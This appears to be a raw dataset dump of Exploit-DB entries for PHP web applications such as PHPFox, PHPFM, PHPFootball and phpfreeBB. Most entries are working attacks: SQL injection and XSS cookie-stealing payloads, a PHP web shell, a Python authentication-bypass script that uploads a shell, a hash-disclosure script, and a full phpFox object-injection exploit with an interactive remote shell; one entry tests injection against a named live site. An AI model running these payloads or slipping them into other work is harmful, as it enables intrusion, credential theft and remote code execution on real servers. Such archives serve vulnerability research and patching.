deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8975
Description: PHPFK 7.03 - 'page_bottom.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-17
Author: ahmadbady

Exploit:
                =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script: phpFK - PHP Forum
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.frank-karau.de/download.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
xpl:
path/include/page_bottom.php?_FORUM[settings_design_style]={[(local_file)]}%00

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-

# milw0rm.com [2009-06-17]
Exploit-DB #26474
Description: PHPFM - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2005-11-07
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/15335/info

PHPFM is prone to an arbitrary file upload vulnerability.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

---------------
<pre>
<?
passthru($_GET['cmd']);
?>>

save as > cmd.php
now upload in PHPFM


http://www.esxample.com/[file upload name]/[files]/cmd.php?cmd=[command linux]
Exploit-DB #51594
Description: phpfm v1.7.9 - Authentication type juggling
Type: webapps
Platform: php
Date: 2023-07-19
Author: thoughtfault

Exploit:
# Exploit Title: phpfm v1.7.9 - Authentication type juggling
# Date: 2023-07-10
# Exploit Author: thoughtfault
# Vendor Homepage: https://www.dulldusk.com/phpfm/
# Software Link: https://github.com/dulldusk/phpfm/
# Version: 1.6.1-1.7.9
# Tested on: Ubuntu 22.04
# CVE : N/A
"""
An authentication bypass exists in when the hash of the password selected by the user incidently begins with 0e, 00e, and in some PHP versions, 0x. This is because loose type comparision is performed between the password hash and the loggedon value, which by default for an unauthenticated user is 0 and can additionally be controlled by the attacker.  This allows an attacker to bypass the login and obtain remote code execution.

A list of vulnerable password hashes can be found here.
https://github.com/spaze/hashes/blob/master/md5.md
"""
import requests
import sys

if len(sys.argv) < 2:
    print(f"[*] Syntax: ./{__file__} http://target/")
    sys.exit(0)


url = sys.argv[1].rstrip('/') + "/index.php"

payload_name = "shell.php"
payload = '<?php echo "I am a shell"; ?>'
payload_url = url.replace("index.php", payload_name)

headers = {"Accept-Language": "en-US,en;q=0.5", "Cookie": "loggedon=0"}
files = {"dir_dest": (None, "/srv/http/"), "action": (None, "10"), "upfiles[]": ("shell.php", payload) }

requests.post(url, headers=headers, files=files)

r = requests.get(payload_url)
if r.status_code == 200:
    print(f"[*] Exploit sucessfull: {payload_url}")
    print(r.text)
else:
    print(f"[*] Exploit might have failed, payload url returned a non-200 status code of: {r.status_code}" )
Exploit-DB #17485
Description: PhpFood CMS 2.00 - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-04
Author: kaMtiEz

Exploit:
#############################################################################################################
## PhpFood CMS (restaurant.php?id=) SQL Injection Vulnerability			                           ##
## Author : kaMtiEz (kamtiez@exploit-id.com)								   ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id	   ##
## Date : 3 July, 2011 						                                           ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.phpfood.com/
[+] Download : http://www.phpfood.com/download.html
[+] version : 2.00 or lower maybe also affected
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num]

[ XpL ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num] and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1


[ See It ]

Duplicate entry '5.0.91-community1' for key 1 :D

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

[ NOTE ] 

[+] Stop Dreaming , Lets Do it ! 
[+] Jangan Takut , Luka Pasti Akan Sembuh :)

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #3226
Description: PHPFootball 1.6 - Remote Database Disclosure
Type: webapps
Platform: php
Date: 2007-01-30
Author: ajann

Exploit:
*******************************************************************************
# Title   :  PHPFootball 1.6 (show.php) Remote Database Disclosure Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://phpfootball.sourceforge.net
# $$      :  Free
# Dork    :  inurl:/phpfootball/

*******************************************************************************

[[DBREAD]]]---------------------------------------------------------

http://[target]/[path]//show.php [VARIABLES]

Example:

//show.php?dbtable=Accounts&dbfield=Username&dbfieldv=%&dbfields=Id&

[dbtable] :Database Table Name
[dbfield] :Field Name
[dbfields]:Listing(Order by x)

[[/DBREAD]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-30]
Exploit-DB #7636
Description: PHPFootball 1.6 - Remote Hash Disclosure
Type: webapps
Platform: php
Date: 2009-01-01
Author: KinG-LioN

Exploit:
<?php

// http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip

$host = $argv[1];
$path = $argv[2];

if ($argc != 3) {
    
    echo "PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit\n";
    echo "by KinG-LioN - http://eurohackers.it\n";
    echo "Usage: php {$argv[0]} <host> <path>\n";
    exit;
}
else {

   $head .= "GET /{$path}/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n";
   $head .= "Host: {$host}\r\n";
   $head .= "Connection: close\r\n\r\n";
   
   $fsock = fsockopen ($host,80);
   fputs ($fsock,$head);
   
   while (!feof($fsock)) {
     $cont .= fgets($fsock);
   } 
    fclose($fsock); 
    
    if (preg_match_all("/<td class=td>(.+?)<\/td>/",$cont,$i)) {
        print_r($i[1]);
   } 
   else {
       die ("exploit error\n");
   }
}


?>

# milw0rm.com [2009-01-01]
Exploit-DB #6102
Description: PHPFootball 1.6 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-20
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## PHPFootball 1.6 ( show.php dbtable )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/show.php?dbtable=Predictions+UNION+SELECT+0,Concat_Ws(0x3a,Username,Password)MrSQL,0,0,0+FROM+Accounts--
##
########################
########################
 -[: N0TE :]-
1) Download script ;D  http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip
2) Passwords Md5
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-20]
Exploit-DB #22887
Description: PHPForum 2.0 RC1 - 'Mainfile.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-07-10
Author: theblacksheep

Exploit:
source: https://www.securityfocus.com/bid/8158/info

phpForum is prone to a vulnerability that may permit remote attackers to include and execute malicious PHP scripts. This could be exploited to execute malicious PHP commands in the context of the web server process.

http://www.example.com/forum/mainfile.php?MAIN_PATH=[attacker's site]
Exploit-DB #39139
Description: PHPFox - Access Control Security Bypass
Type: webapps
Platform: php
Date: 2014-04-05
Author: Wesley Henrique

Exploit:
source: https://www.securityfocus.com/bid/66677/info

PHPFox is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can leverage this issue to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks.

PHPFox 3.7.3, 3.7.4 and 3.7.5 are vulnerable 

&core[ajax]=true&core[call]=comment.add&core[security_token]=686f82ec43f7dcd92784ab36ab5cbfb7
&val[type]=user_status&val[item_id]=27&val[parent_id]=0&val[is_via_feed]=0 val[default_feed_value]=Write%20a%20comment...&val[text]=AQUI!!!!!!!!!!!& core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=290
Exploit-DB #35274
Description: PHPFox - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-11-17
Author: spyk2r

Exploit:
# Exploit Title: PHPFox XSS AdminCP
# Date: 2014-10-22
# Exploit Author: Wesley Henrique Leite aka "spyk2r"
# Vendor Homepage: http://www.moxi9.com
# Version: All version
# CVE : CVE-2014-8469

# Response Vendor: fixed 2014-10-23 (to v4 Beta)

[+] DESCRIPTION

The system stores all urls accessed in a database table, below
information in the same 'phpfox_log_session'

[phpfox]> desc phpfox_log_session;
+---------------+----------------------+------+-----+---------+-------+
|       Field         | Type         | Null | Key | Default | Extra |
+---------------+----------------------+------+-----+---------+-------+
++++++++++ more values and
| user_agent  | varchar(100)  | NO   |       | NULL    |       |
+---------------+----------------------+------+-----+---------+-------+

the column that can be manipulated is:
-> user_agent (100)

all acess store in the system, such as bots and users wandering around the
web site, can be seen in:

AdminCP
TOOLS > Online > Guests/Boots

Output
| IP ADDRESS   | User-Agent    |   ...

knowing this, the following code was created to inject a script into the
AdminCP with User-Agent.

$ curl -A "<script src='http://www.example.com/script.js'></script>" \
 http://www.meusite.com.br/

OR

$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/

when any user with administrative access in.
'AdminCP'
TOOLS > Online > Guests/Boots

we have the script running in the administrative area.


[+] My Solution

   (line 1.8)

     1.1 --- a/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 10:00:11 2014 -0200
     1.2 +++ b/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 12:28:39 2014 -0200
     1.3 @@ -25,7 +25,7 @@
     1.4  {foreach from=$aGuests key=iKey item=aGuest}
     1.5   <tr class="checkRow{if is_int($iKey/2)} tr{else}{/if}">
     1.6   <td><a href="{url link='admincp.core.ip'
search=$aGuest.ip_address_search}" title="{phrase
var='admincp.view_all_the_activity_from_this_ip'}">{$aGuest.ip_address}</a></td>
     1.7 - <td>{$aGuest.user_agent}</td>
     1.8 + <td>{$aGuest.user_agent|strip_tags}</td>
     1.9   <td class="t_center">
    1.10   <div class="js_item_is_active"{if !$aGuest.ban_id}
style="display:none;"{/if}>
    1.11   <a href="#?call=ban.ip&ip={$aGuest.ip_address}&active=0"
class="js_item_active_link" title="{phrase var='admincp.unban'}">{img
theme='misc/bullet_green.png' alt=''}</a>
    1.12 @@ -43,4 +43,4 @@
    1.13  <div class="extra_info">
    1.14   {phrase var='admincp.no_guests_online'}
    1.15  </div>
    1.16 -{/if}
    1.17 \ No newline at end of file
    1.18 +{/if}
Exploit-DB #37697
Description: PHPFox 3.0.1 - 'ajax.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-04
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55405/info

phpFox is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

phpFox 3.3.0 is vulnerable; other versions may also be affected. 

http://www.example.com//static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message="><script>alert(document.cookie);</script>&width=300

http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id="><script>alert(document.cookie);</script>&item_id=518&_=[PII_REDACTED]67

http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id=id&item_id=518"><script>alert(document.cookie);</script>&_=[PII_REDACTED]67
Exploit-DB #27430
Description: PHPFox 3.6.0 (build3) - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-08-08
Author: Matias Fontanini

Exploit:
------------------------------------------------------------
PHPFox v3.6.0 (build3) Multiple SQL Injection vulnerabilities
------------------------------------------------------------

== Description ==
- Software link: http://www.phpfox.com
- Affected versions: version 3.6.0 (build3) is vulnerable. Other
versions might be affected as well.
- Vulnerability discovered by: Matias Fontanini

== Vulnerabilities ==
When performing POST requests to /user/browse/view_/, the
"search[gender]" and "search[sort_by]" parameters are not correctly
sanitized before being used to construct SQL queries, making them
vulnerable to Blind SQL Injection attacks.

== Proof of concept ==

- For the "search[gender]" parameter, using the condition "1=0" so
that no results are returned:

POST /user/browse/view_/
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2
and 1=0search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=DESC

- The "search[sort_by]" parameter is inserted in a "order by" clause.
Therefore, an attacker could exploit it by making the application sort
the results based on a different criteria, depending on whether the
query was successful:

POST /user/browse/view_/
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2&search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=ASC,(case
when (select 1 from dual) then birthday_search else password end)

== Solution ==
Upgrade the product to the 3.6.0 (build6) version. Note that builds 4
and 5 also contain the vulnerability present in the "search[sort_by]"
parameter, but not the other one.

== Report timeline ==
[2013-07-30] Vulnerability reported to vendor.
[2013-07-30] Developers answered back indicating that an update would
be released soon.
[2013-08-07] PHPFox 3.6.0 (build6) was released, which fixed all of
the issues reported.
[2013-08-07] Public disclosure.
Exploit-DB #51799
Description: phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit
Type: webapps
Platform: php
Date: 2024-02-19
Author: Egidio Romano

Exploit:
<?php

/*
    --------------------------------------------------------------
    phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
    --------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.phpfox.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "url" request parameter to the /core/redirect route is
    not properly sanitized before being used in a call to the unserialize() PHP function.
    This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP
    objects into the application scope, allowing them to perform a variety of attacks,
    such as executing arbitrary PHP code.
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2023-12
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "+------------------------------------------------------------------+\n";

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

function encode($string)
{
        $string = addslashes(gzcompress($string, 9));
        return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}

class Phpfox_Request
{
	private $_sName = "EgiX";
	private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;"; 
}

class Core_Objectify
{
	private $__toString;
	
	function __construct($callback)
	{
		$this->__toString = $callback;
	}
}

print "\n[+] Launching shell on {$argv[1]}\n";

$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));

while(1)
{
    print "\nphpFox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}
Exploit-DB #9465
Description: phpfreeBB 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: Moudi

Exploit:
/*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

phpfreeBB 1.0 Remote BLIND SQL Injection Vulnerability

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://prdownloads.sourceforge.net/phpfreebb/bb.zip?download
           http://phpfreebb.sourceforge.net/

Greetings : Mizoz, Zuka, str0ke, 599eme Man.
Please visit: http://unkn0wn.ws/board/index.php

*/

[+] Exploit bSQL:

- Vulnerable code in permalink.php (id).
- Vulnerable code in index.php (year/archive).

- Poc:
  http://127.0.0.1/permalink.php?id=[bSQL]
  http://127.0.0.1/index.php?archive=[NB]&year=[bSQL]

  http://kumi.awardspace.com/diary/permalink.php?id=9+and+1=1 TRUE
  http://kumi.awardspace.com/diary/permalink.php?id=9+and+1=2 FALSE

  http://kumi.awardspace.com/diary/index.php?archive=5&year=2008+and+1=1 TRUE
  http://kumi.awardspace.com/diary/index.php?archive=5&year=2008+and+1=2 FALSE

# milw0rm.com [2009-08-18]
Exploit-DB #32085
Description: PHPFreeChat 1.1 - 'demo21_with_hardocded_urls.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-18
Author: ahmadbady

Exploit:
source: https://www.securityfocus.com/bid/30292/info

phpFreeChat is prone to an unspecified cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

phpFreeChat 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/path/demo/demo21_with_hardcoded_urls.php/>'><ScRiPt>alert(document.cookie)</ScRiPt>
Exploit-DB #31822
Description: PHPFreeForum 1.0 rc2 - '/part/menu.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-22
Author: tan_prathan

Exploit:
source: https://www.securityfocus.com/bid/29337/info
 
phpFreeForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/[phpfreeforum_path]/html/part/menu.php?nickname=<XSS>
http://www.example.com/[phpfreeforum_path]/html/part/menu.php?randomid=<XSS>
Exploit-DB #31821
Description: PHPFreeForum 1.0 rc2 - 'error.php?message' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-22
Author: tan_prathan

Exploit:
source: https://www.securityfocus.com/bid/29337/info

phpFreeForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[phpfreeforum_path]/html/error.php?message=&lt;XSS&gt;